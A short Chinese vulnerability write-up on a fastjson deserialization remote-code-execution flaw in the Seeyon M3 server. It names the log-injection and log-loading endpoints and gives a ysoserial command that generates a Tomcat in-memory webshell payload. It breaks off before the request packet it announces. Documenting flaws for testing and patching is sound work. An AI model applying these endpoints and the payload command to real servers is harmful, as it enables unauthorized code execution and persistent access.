漏洞描述

致远M3 server中 mobile_portal接口处存在fastjson反序列化漏洞，漏洞是通过接口/mobile_portal/api/pns/message/send/batch/6_1sp1将恶意payload存入日志中，然后利用/mobile_portal/api/systemLog/pns/loadLog/app.log接口会将日志中的JSON数据进行反序列化的机制触发Fastjson漏洞,造成反序列化远程代码执行。

漏洞复现

使用ysoserial生成TomcatCmdEcho回显内存马，项目地址如下：

https://github.com/Y4er/ysoserial

生成命令如下

java -jar ysoserial-main-49888d3191-1.jar CommonsBeanutils192NOCC "CLASS:TomcatCmdEcho" | hex

将生成的十六进制数据复制到到PoC中HEX处，向靶场发送如下数据包
